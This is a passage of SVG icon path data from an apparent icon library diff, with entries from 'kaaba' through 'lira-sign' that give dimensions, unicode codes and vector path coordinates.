"M438.40625,377.59375c-3.20313,12.8125-3.20313,57.60937,0,73.60937Q447.9922,460.78907,448,470.40625v16c0,16-12.79688,25.59375-25.59375,25.59375H96c-54.40625,0-96-41.59375-96-96V96C0,41.59375,41.59375,0,96,0H422.40625C438.40625,0,448,9.59375,448,25.59375v332.8125Q448,372.79688,438.40625,377.59375ZM380.79688,384H96c-16,0-32,12.79688-32,32s12.79688,32,32,32H380.79688ZM128.01562,176.01562c0,.51563.14063.98438.14063,1.5l37.10937,32.46876A7.99954,7.99954,0,0,1,160,224h-.01562a9.17678,9.17678,0,0,1-5.25-1.98438L131.14062,201.375C142.6875,250.95312,186.90625,288,240,288s97.3125-37.04688,108.875-86.625l-23.59375,20.64062a8.02516,8.02516,0,0,1-5.26563,1.96876H320a9.14641,9.14641,0,0,1-6.01562-2.71876A9.26508,9.26508,0,0,1,312,216a9.097,9.097,0,0,1,2.73438-6.01562l37.10937-32.46876c.01563-.53124.15625-1,.15625-1.51562,0-11.04688-2.09375-21.51562-5.06251-31.59375l-21.26562,21.25a8.00467,8.00467,0,0,1-11.32812-11.3125l26.42187-26.40625a111.81517,111.81517,0,0,0-46.35937-49.26562,63.02336,63.02336,0,0,1-14.0625,82.64062A55.83846,55.83846,0,0,1,251.625,254.73438l-1.42188-34.28126,12.67188,8.625a3.967,3.967,0,0,0,2.25.6875,3.98059,3.98059,0,0,0,3.43749-6.03124l-8.53124-14.3125,17.90625-3.71876a4.00647,4.00647,0,0,0,0-7.84374l-17.90625-3.71876,8.53124-14.3125a3.98059,3.98059,0,0,0-3.43749-6.03124,4.726,4.726,0,0,0-2.25.67187L248.6875,184.125,244,71.82812a4.00386,4.00386,0,0,0-8,0l-4.625,110.8125-12-8.15624a4.003,4.003,0,0,0-5.68751,5.35937l8.53126,14.3125L204.3125,197.875a3.99686,3.99686,0,0,0,0,7.82812l17.90625,3.73438-8.53126,14.29688a4.72469,4.72469,0,0,0-.56249,2.04687,4.59547,4.59547,0,0,0,1.25,2.90625,4.01059,4.01059,0,0,0,2.75,1.09375,4.09016,4.09016,0,0,0,2.25-.6875l10.35937-7.04687L228.375,254.76562a55.86414,55.86414,0,0,1-28.71875-93.45312,63.01119,63.01119,0,0,1-14.04688-82.65625,111.93158,111.93158,0,0,0-46.375,49.26563l26.42187,26.42187a7.99917,7.99917,0,0,1-11.3125,11.3125l-21.26563-21.26563C130.09375,154.48438,128,164.95312,128.01562,176.01562Z"], + "kaaba": [576, 512, [], "f66b", "M554.12 83.51L318.36 4.93a95.962 95.962 0 0 0-60.71 0L21.88 83.51A32.006 32.006 0 0 0 0 113.87v49.01l265.02-79.51c15.03-4.5 30.92-4.5 45.98 0l265 79.51v-49.01c0-13.77-8.81-26-21.88-30.36zm-279.9 30.52L0 196.3v228.38c0 15 10.42 27.98 25.06 31.24l242.12 53.8a95.937 95.937 0 0 0 41.65 0l242.12-53.8c14.64-3.25 25.06-16.24 25.06-31.24V196.29l-274.2-82.26c-9.04-2.72-18.59-2.72-27.59 0zM128 230.11c0 3.61-2.41 6.77-5.89 7.72l-80 21.82C37.02 261.03 32 257.2 32 251.93v-16.58c0-3.61 2.41-6.77 5.89-7.72l80-21.82c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm144-39.28c0 3.61-2.41 6.77-5.89 7.72l-96 26.18c-5.09 1.39-10.11-2.44-10.11-7.72v-16.58c0-3.61 2.41-6.77 5.89-7.72l96-26.18c5.09-1.39 10.11 2.44 10.11 7.72v16.58zm176 22.7c0-5.28 5.02-9.11 10.11-7.72l80 21.82c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-80-21.82a7.997 7.997 0 0 1-5.89-7.72v-16.58zm-144-39.27c0-5.28 5.02-9.11 10.11-7.72l96 26.18c3.48.95 5.89 4.11 5.89 7.72v16.58c0 5.28-5.02 9.11-10.11 7.72l-96-26.18a7.997 7.997 0 0 1-5.89-7.72v-16.58z"], + "key": [512, 512, [], "f084", "M512 176.001C512 273.203 433.202 352 336 352c-11.22 0-22.19-1.062-32.827-3.069l-24.012 27.014A23.999 23.999 0 0 1 261.223 384H224v40c0 13.255-10.745 24-24 24h-40v40c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-78.059c0-6.365 2.529-12.47 7.029-16.971l161.802-161.802C163.108 213.814 160 195.271 160 176 160 78.798 238.797.001 335.999 0 433.488-.001 512 78.511 512 176.001zM336 128c0 26.51 21.49 48 48 48s48-21.49 48-48-21.49-48-48-48-48 21.49-48 48z"], + "keyboard": [576, 512, [], "f11c", "M528 448H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h480c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48zM128 180v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm-336 96v-40c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12zm288 0v-40c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h232c6.627 0 12-5.373 12-12zm96 0v-40c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h40c6.627 0 12-5.373 12-12z"], + "khanda": [512, 512, [], "f66d", "M415.81 66c-6.37-3.5-14.37-2.33-19.36 3.02a15.974 15.974 0 0 0-1.91 19.52c16.49 26.16 25.2 56.39 25.2 87.41-.19 53.25-26.77 102.69-71.27 132.41l-76.63 53.35v-20.1l44.05-36.09c3.92-4.2 5-10.09 2.81-15.28L310.85 273c33.84-19.26 56.94-55.25 56.94-96.99 0-40.79-22.02-76.13-54.59-95.71l5.22-11.44c2.34-5.53.93-11.83-3.57-16.04L255.86 0l-58.99 52.81c-4.5 4.21-5.9 10.51-3.57 16.04l5.22 11.44c-32.57 19.58-54.59 54.93-54.59 95.72 0 41.75 23.09 77.73 56.94 96.99l-7.85 17.24c-2.19 5.18-1.1 11.07 2.81 15.28l44.05 36.09v19.9l-76.59-53.33C119.02 278.62 92.44 229.19 92.26 176c0-31.08 8.71-61.31 25.2-87.47 3.87-6.16 2.4-13.77-2.59-19.08-5-5.34-13.68-6.2-20.02-2.7C16.32 109.6-22.3 205.3 13.36 295.99c7.07 17.99 17.89 34.38 30.46 49.06l55.97 65.36c4.87 5.69 13.04 7.24 19.65 3.72l79.35-42.23L228 392.23l-47.08 32.78c-1.67-.37-3.23-1.01-5.01-1.01-13.25 0-23.99 10.74-23.99 24 0 13.25 10.74 24 23.99 24 12.1 0 21.69-9.11 23.33-20.76l40.63-28.28v29.95c-9.39 5.57-15.99 15.38-15.99 27.1 0 17.67 14.32 32 31.98 32s31.98-14.33 31.98-32c0-11.71-6.61-21.52-15.99-27.1v-30.15l40.91 28.48C314.41 462.89 324 472 336.09 472c13.25 0 23.99-10.75 23.99-24 0-13.26-10.74-24-23.99-24-1.78 0-3.34.64-5.01 1.01L284 392.23l29.21-20.34 79.35 42.23c6.61 3.52 14.78 1.97 19.65-3.71l52.51-61.31c18.87-22.02 34-47.5 41.25-75.59 21.62-83.66-16.45-167.27-90.16-207.51zm-95.99 110c0 22.3-11.49 41.92-28.83 53.38l-5.65-12.41c-8.75-24.52-8.75-51.04 0-75.56l7.83-17.18c16.07 11.65 26.65 30.45 26.65 51.77zm-127.93 0c0-21.32 10.58-40.12 26.66-51.76l7.83 17.18c8.75 24.52 8.75 51.03 0 75.56l-5.65 12.41c-17.34-11.46-28.84-31.09-28.84-53.39z"], + "kiss": [496, 512, [], "f596", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-80 232c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm136 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm24-156c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "kiss-beam": [496, 512, [], "f597", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm-39 219.9l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5zM304 396c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-6.1-12.2 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.6-3.6-4.8-16.5 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C290.6 368.7 304 383 304 396zm65-168.1l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.1 7.3-15.6 4-14.9-4.5 3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.5 8.5-10.9 12-15.1 4.5z"], + "kiss-wink-heart": [504, 512, [], "f598", "M501.1 402.5c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zm-177.6-4c-5.6-20.3-2.3-42 9-59.7 29.7-46.3 98.7-45.5 127.8 4.3 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-.3-.7-23.9-84.6-23.9-84.6zM168 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm120 156c0 19.2-28.7 41.5-71.5 44-8.5.8-12.1-11.8-3.6-15.4l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-6-2.5-5.7-12.3 0-14.8l17-7.2c13-5.5 20.8-13.5 20.8-21.5s-7.8-16-20.8-21.5l-17-7.2c-8.8-3.7-4.6-16.6 3.6-15.4 42.8 2.5 71.5 24.8 71.5 44 0 13-13.4 27.3-35.2 36C274.6 368.7 288 383 288 396zm16-179c-8.3 7.4-21.6.4-19.8-10.8 4-25.2 34.2-42.1 59.9-42.1S400 181 404 206.2c1.7 11.1-11.3 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 217z"], + "kiwi-bird": [576, 512, [], "f535", "M575.81 217.98C572.64 157.41 518.28 112 457.63 112h-9.37c-52.82 0-104.25-16.25-147.74-46.24-41.99-28.96-96.04-41.62-153.21-28.7C129.3 41.12-.08 78.24 0 224c.04 70.95 38.68 132.8 95.99 166.01V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-54.26c15.36 3.96 31.4 6.26 48 6.26 5.44 0 10.68-.73 16-1.18V464c0 8.84 7.16 16 16 16h16c8.84 0 16-7.16 16-16v-59.43c14.24-5.06 27.88-11.39 40.34-19.51C342.07 355.25 393.86 336 448.46 336c25.48 0 16.01-.31 23.05-.78l74.41 136.44c2.86 5.23 8.3 8.34 14.05 8.34 1.31 0 2.64-.16 3.95-.5 7.09-1.8 12.05-8.19 12.05-15.5 0 0 .14-240.24-.16-246.02zM463.97 248c-13.25 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24zm80 153.25l-39.86-73.08c15.12-5.83 28.73-14.6 39.86-25.98v99.06z"], + "landmark": [512, 512, [], "f66f", "M501.62 92.11L267.24 2.04a31.958 31.958 0 0 0-22.47 0L10.38 92.11A16.001 16.001 0 0 0 0 107.09V144c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-36.91c0-6.67-4.14-12.64-10.38-14.98zM64 192v160H48c-8.84 0-16 7.16-16 16v48h448v-48c0-8.84-7.16-16-16-16h-16V192h-64v160h-96V192h-64v160h-96V192H64zm432 256H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h480c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16z"], + "language": [640, 512, [], "f1ab", "M152.1 236.2c-3.5-12.1-7.8-33.2-7.8-33.2h-.5s-4.3 21.1-7.8 33.2l-11.1 37.5H163zM616 96H336v320h280c13.3 0 24-10.7 24-24V120c0-13.3-10.7-24-24-24zm-24 120c0 6.6-5.4 12-12 12h-11.4c-6.9 23.6-21.7 47.4-42.7 69.9 8.4 6.4 17.1 12.5 26.1 18 5.5 3.4 7.3 10.5 4.1 16.2l-7.9 13.9c-3.4 5.9-10.9 7.8-16.7 4.3-12.6-7.8-24.5-16.1-35.4-24.9-10.9 8.7-22.7 17.1-35.4 24.9-5.8 3.5-13.3 1.6-16.7-4.3l-7.9-13.9c-3.2-5.6-1.4-12.8 4.2-16.2 9.3-5.7 18-11.7 26.1-18-7.9-8.4-14.9-17-21-25.7-4-5.7-2.2-13.6 3.7-17.1l6.5-3.9 7.3-4.3c5.4-3.2 12.4-1.7 16 3.4 5 7 10.8 14 17.4 20.9 13.5-14.2 23.8-28.9 30-43.2H412c-6.6 0-12-5.4-12-12v-16c0-6.6 5.4-12 12-12h64v-16c0-6.6 5.4-12 12-12h16c6.6 0 12 5.4 12 12v16h64c6.6 0 12 5.4 12 12zM0 120v272c0 13.3 10.7 24 24 24h280V96H24c-13.3 0-24 10.7-24 24zm58.9 216.1L116.4 167c1.7-4.9 6.2-8.1 11.4-8.1h32.5c5.1 0 9.7 3.3 11.4 8.1l57.5 169.1c2.6 7.8-3.1 15.9-11.4 15.9h-22.9a12 12 0 0 1-11.5-8.6l-9.4-31.9h-60.2l-9.1 31.8c-1.5 5.1-6.2 8.7-11.5 8.7H70.3c-8.2 0-14-8.1-11.4-15.9z"], + "laptop": [640, 512, [], "f109", "M624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z"], + "laptop-code": [640, 512, [], "f5fc", "M255.03 261.65c6.25 6.25 16.38 6.25 22.63 0l11.31-11.31c6.25-6.25 6.25-16.38 0-22.63L253.25 192l35.71-35.72c6.25-6.25 6.25-16.38 0-22.63l-11.31-11.31c-6.25-6.25-16.38-6.25-22.63 0l-58.34 58.34c-6.25 6.25-6.25 16.38 0 22.63l58.35 58.34zm96.01-11.3l11.31 11.31c6.25 6.25 16.38 6.25 22.63 0l58.34-58.34c6.25-6.25 6.25-16.38 0-22.63l-58.34-58.34c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63L386.75 192l-35.71 35.72c-6.25 6.25-6.25 16.38 0 22.63zM624 416H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33.02-17.47-32.77-32H16c-8.8 0-16 7.2-16 16v16c0 35.2 28.8 64 64 64h512c35.2 0 64-28.8 64-64v-16c0-8.8-7.2-16-16-16zM576 48c0-26.4-21.6-48-48-48H112C85.6 0 64 21.6 64 48v336h512V48zm-64 272H128V64h384v256z"], + "laptop-house": [640, 512, [], "e066", "M272,288H208a16,16,0,0,1-16-16V208a16,16,0,0,1,16-16h64a16,16,0,0,1,16,16v37.12C299.11,232.24,315,224,332.8,224H469.74l6.65-7.53A16.51,16.51,0,0,0,480,207a16.31,16.31,0,0,0-4.75-10.61L416,144V48a16,16,0,0,0-16-16H368a16,16,0,0,0-16,16V87.3L263.5,8.92C258,4,247.45,0,240.05,0s-17.93,4-23.47,8.92L4.78,196.42A16.15,16.15,0,0,0,0,207a16.4,16.4,0,0,0,3.55,9.39L22.34,237.7A16.22,16.22,0,0,0,33,242.48,16.51,16.51,0,0,0,42.34,239L64,219.88V384a32,32,0,0,0,32,32H272ZM629.33,448H592V288c0-17.67-12.89-32-28.8-32H332.8c-15.91,0-28.8,14.33-28.8,32V448H266.67A10.67,10.67,0,0,0,256,458.67v10.66A42.82,42.82,0,0,0,298.6,512H597.4A42.82,42.82,0,0,0,640,469.33V458.67A10.67,10.67,0,0,0,629.33,448ZM544,448H352V304H544Z"], + "laptop-medical": [640, 512, [], "f812", "M232 224h56v56a8 8 0 0 0 8 8h48a8 8 0 0 0 8-8v-56h56a8 8 0 0 0 8-8v-48a8 8 0 0 0-8-8h-56v-56a8 8 0 0 0-8-8h-48a8 8 0 0 0-8 8v56h-56a8 8 0 0 0-8 8v48a8 8 0 0 0 8 8zM576 48a48.14 48.14 0 0 0-48-48H112a48.14 48.14 0 0 0-48 48v336h512zm-64 272H128V64h384zm112 96H381.54c-.74 19.81-14.71 32-32.74 32H288c-18.69 0-33-17.47-32.77-32H16a16 16 0 0 0-16 16v16a64.19 64.19 0 0 0 64 64h512a64.19 64.19 0 0 0 64-64v-16a16 16 0 0 0-16-16z"], + "laugh": [496, 512, [], "f599", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 152c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm88 272h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18-8.9 71-69.5 126-142.9 126z"], + "laugh-beam": [496, 512, [], "f59a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm24 199.4c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.2 7.4-15.8 4.1-15.1-4.5zm-160 0c3.3-42.1 32.2-71.4 56-71.4s52.7 29.3 56 71.4c.7 8.6-10.8 11.9-14.9 4.5l-9.5-17c-7.7-13.7-19.2-21.6-31.5-21.6s-23.8 7.9-31.5 21.6l-9.5 17c-4.3 7.4-15.8 4-15.1-4.5zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"], + "laugh-squint": [496, 512, [], "f59b", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm33.8 161.7l80-48c11.6-6.9 24 7.7 15.4 18L343.6 180l33.6 40.3c8.7 10.4-3.9 24.8-15.4 18l-80-48c-7.7-4.7-7.7-15.9 0-20.6zm-163-30c-8.6-10.3 3.8-24.9 15.4-18l80 48c7.8 4.7 7.8 15.9 0 20.6l-80 48c-11.5 6.8-24-7.6-15.4-18l33.6-40.3-33.6-40.3zM398.9 306C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"], + "laugh-wink": [496, 512, [], "f59c", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm20.1 198.1c4-25.2 34.2-42.1 59.9-42.1s55.9 16.9 59.9 42.1c1.7 11.1-11.4 18.3-19.8 10.8l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L288 217c-8.4 7.4-21.6.3-19.9-10.9zM168 160c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm230.9 146C390 377 329.4 432 256 432h-16c-73.4 0-134-55-142.9-126-1.2-9.5 6.3-18 15.9-18h270c9.6 0 17.1 8.4 15.9 18z"], + "layer-group": [512, 512, [], "f5fd", "M12.41 148.02l232.94 105.67c6.8 3.09 14.49 3.09 21.29 0l232.94-105.67c16.55-7.51 16.55-32.52 0-40.03L266.65 2.31a25.607 25.607 0 0 0-21.29 0L12.41 107.98c-16.55 7.51-16.55 32.53 0 40.04zm487.18 88.28l-58.09-26.33-161.64 73.27c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.51 209.97l-58.1 26.33c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 276.3c16.55-7.5 16.55-32.5 0-40zm0 127.8l-57.87-26.23-161.86 73.37c-7.56 3.43-15.59 5.17-23.86 5.17s-16.29-1.74-23.86-5.17L70.29 337.87 12.41 364.1c-16.55 7.5-16.55 32.5 0 40l232.94 105.59c6.8 3.08 14.49 3.08 21.29 0L499.59 404.1c16.55-7.5 16.55-32.5 0-40z"], + "leaf": [576, 512, [], "f06c", "M546.2 9.7c-5.6-12.5-21.6-13-28.3-1.2C486.9 62.4 431.4 96 368 96h-80C182 96 96 182 96 288c0 7 .8 13.7 1.5 20.5C161.3 262.8 253.4 224 384 224c8.8 0 16 7.2 16 16s-7.2 16-16 16C132.6 256 26 410.1 2.4 468c-6.6 16.3 1.2 34.9 17.5 41.6 16.4 6.8 35-1.1 41.8-17.3 1.5-3.6 20.9-47.9 71.9-90.6 32.4 43.9 94 85.8 174.9 77.2C465.5 467.5 576 326.7 576 154.3c0-50.2-10.8-102.2-29.8-144.6z"], + "lemon": [512, 512, [], "f094", "M489.038 22.963C465.944-.13 434.648-5.93 413.947 6.129c-58.906 34.312-181.25-53.077-321.073 86.746S40.441 355.041 6.129 413.945c-12.059 20.702-6.26 51.999 16.833 75.093 23.095 23.095 54.392 28.891 75.095 16.832 58.901-34.31 181.246 53.079 321.068-86.743S471.56 156.96 505.871 98.056c12.059-20.702 6.261-51.999-16.833-75.093zM243.881 95.522c-58.189 14.547-133.808 90.155-148.358 148.358-1.817 7.27-8.342 12.124-15.511 12.124-1.284 0-2.59-.156-3.893-.481-8.572-2.144-13.784-10.83-11.642-19.403C81.901 166.427 166.316 81.93 236.119 64.478c8.575-2.143 17.261 3.069 19.403 11.642s-3.069 17.259-11.641 19.402z"], + "less-than": [384, 512, [], "f536", "M365.46 357.74L147.04 255.89l218.47-101.88c16.02-7.47 22.95-26.51 15.48-42.53l-13.52-29C360 66.46 340.96 59.53 324.94 67L18.48 209.91a32.014 32.014 0 0 0-18.48 29v34.24c0 12.44 7.21 23.75 18.48 29l306.31 142.83c16.06 7.49 35.15.54 42.64-15.52l13.56-29.08c7.49-16.06.54-35.15-15.53-42.64z"], + "less-than-equal": [448, 512, [], "f537", "M54.98 214.2l301.41 119.87c18.39 6.03 38.71-2.54 45.38-19.15l12.09-30.08c6.68-16.61-2.82-34.97-21.21-41l-175.44-68.05 175.56-68.09c18.29-6 27.74-24.27 21.1-40.79l-12.03-29.92c-6.64-16.53-26.86-25.06-45.15-19.06L54.98 137.89C41.21 142.41 32 154.5 32 168.07v15.96c0 13.56 9.21 25.65 22.98 30.17zM424 400H24c-13.25 0-24 10.74-24 24v48c0 13.25 10.75 24 24 24h400c13.25 0 24-10.75 24-24v-48c0-13.26-10.75-24-24-24z"], + "level-down-alt": [320, 512, [], "f3be", "M313.553 392.331L209.587 504.334c-9.485 10.214-25.676 10.229-35.174 0L70.438 392.331C56.232 377.031 67.062 352 88.025 352H152V80H68.024a11.996 11.996 0 0 1-8.485-3.515l-56-56C-4.021 12.926 1.333 0 12.024 0H208c13.255 0 24 10.745 24 24v328h63.966c20.878 0 31.851 24.969 17.587 40.331z"], + "level-up-alt": [320, 512, [], "f3bf", "M313.553 119.669L209.587 7.666c-9.485-10.214-25.676-10.229-35.174 0L70.438 119.669C56.232 134.969 67.062 160 88.025 160H152v272H68.024a11.996 11.996 0 0 0-8.485 3.515l-56 56C-4.021 499.074 1.333 512 12.024 512H208c13.255 0 24-10.745 24-24V160h63.966c20.878 0 31.851-24.969 17.587-40.331z"], + "life-ring": [512, 512, [], "f1cd", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm173.696 119.559l-63.399 63.399c-10.987-18.559-26.67-34.252-45.255-45.255l63.399-63.399a218.396 218.396 0 0 1 45.255 45.255zM256 352c-53.019 0-96-42.981-96-96s42.981-96 96-96 96 42.981 96 96-42.981 96-96 96zM127.559 82.304l63.399 63.399c-18.559 10.987-34.252 26.67-45.255 45.255l-63.399-63.399a218.372 218.372 0 0 1 45.255-45.255zM82.304 384.441l63.399-63.399c10.987 18.559 26.67 34.252 45.255 45.255l-63.399 63.399a218.396 218.396 0 0 1-45.255-45.255zm302.137 45.255l-63.399-63.399c18.559-10.987 34.252-26.67 45.255-45.255l63.399 63.399a218.403 218.403 0 0 1-45.255 45.255z"], + "lightbulb": [352, 512, [], "f0eb", "M96.06 454.35c.01 6.29 1.87 12.45 5.36 17.69l17.09 25.69a31.99 31.99 0 0 0 26.64 14.28h61.71a31.99 31.99 0 0 0 26.64-14.28l17.09-25.69a31.989 31.989 0 0 0 5.36-17.69l.04-38.35H96.01l.05 38.35zM0 176c0 44.37 16.45 84.85 43.56 115.78 16.52 18.85 42.36 58.23 52.21 91.45.04.26.07.52.11.78h160.24c.04-.26.07-.51.11-.78 9.85-33.22 35.69-72.6 52.21-91.45C335.55 260.85 352 220.37 352 176 352 78.61 272.91-.3 175.45 0 73.44.31 0 82.97 0 176zm176-80c-44.11 0-80 35.89-80 80 0 8.84-7.16 16-16 16s-16-7.16-16-16c0-61.76 50.24-112 112-112 8.84 0 16 7.16 16 16s-7.16 16-16 16z"], + "link": [512, 512, [], "f0c1", "M326.612 185.391c59.747 59.809 58.927 155.698.36 214.59-.11.12-.24.25-.36.37l-67.2 67.2c-59.27 59.27-155.699 59.262-214.96 0-59.27-59.26-59.27-155.7 0-214.96l37.106-37.106c9.84-9.84 26.786-3.3 27.294 10.606.648 17.722 3.826 35.527 9.69 52.721 1.986 5.822.567 12.262-3.783 16.612l-13.087 13.087c-28.026 28.026-28.905 73.66-1.155 101.96 28.024 28.579 74.086 28.749 102.325.51l67.2-67.19c28.191-28.191 28.073-73.757 0-101.83-3.701-3.694-7.429-6.564-10.341-8.569a16.037 16.037 0 0 1-6.947-12.606c-.396-10.567 3.348-21.456 11.698-29.806l21.054-21.055c5.521-5.521 14.182-6.199 20.584-1.731a152.482 152.482 0 0 1 20.522 17.197zM467.547 44.449c-59.261-59.262-155.69-59.27-214.96 0l-67.2 67.2c-.12.12-.25.25-.36.37-58.566 58.892-59.387 154.781.36 214.59a152.454 152.454 0 0 0 20.521 17.196c6.402 4.468 15.064 3.789 20.584-1.731l21.054-21.055c8.35-8.35 12.094-19.239 11.698-29.806a16.037 16.037 0 0 0-6.947-12.606c-2.912-2.005-6.64-4.875-10.341-8.569-28.073-28.073-28.191-73.639 0-101.83l67.2-67.19c28.239-28.239 74.3-28.069 102.325.51 27.75 28.3 26.872 73.934-1.155 101.96l-13.087 13.087c-4.35 4.35-5.769 10.79-3.783 16.612 5.864 17.194 9.042 34.999 9.69 52.721.509 13.906 17.454 20.446 27.294 10.606l37.106-37.106c59.271-59.259 59.271-155.699.001-214.959z"], + "lira-sign": [384, 512, [], "f195", "M371.994 256h-48.019C317.64 256 312 260.912 312 267.246 312 368 230.179 416 144 416V256.781l134.603-29.912A12 12 0 0 0 288 215.155v-40.976c0-7.677-7.109-13.38-14.603-11.714L144 191.219V160.78l134.603-29.912A12 12 0 0 0 288 119.154V78.179c0-7.677-7.109-13.38-14.603-11.714L144 95.219V44c0-6.627-5.373-12-12-12H76c-6.627 0-12 5.373-12 12v68.997L9.397 125.131A12 12 0 0 0 0 136.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 178.558v30.439L9.397 221.131A12 12 0 0 0 0 232.845v40.976c0 7.677 7.109 13.38 14.603 11.714L64 274.558V468c0 6.627 5.373 12 12 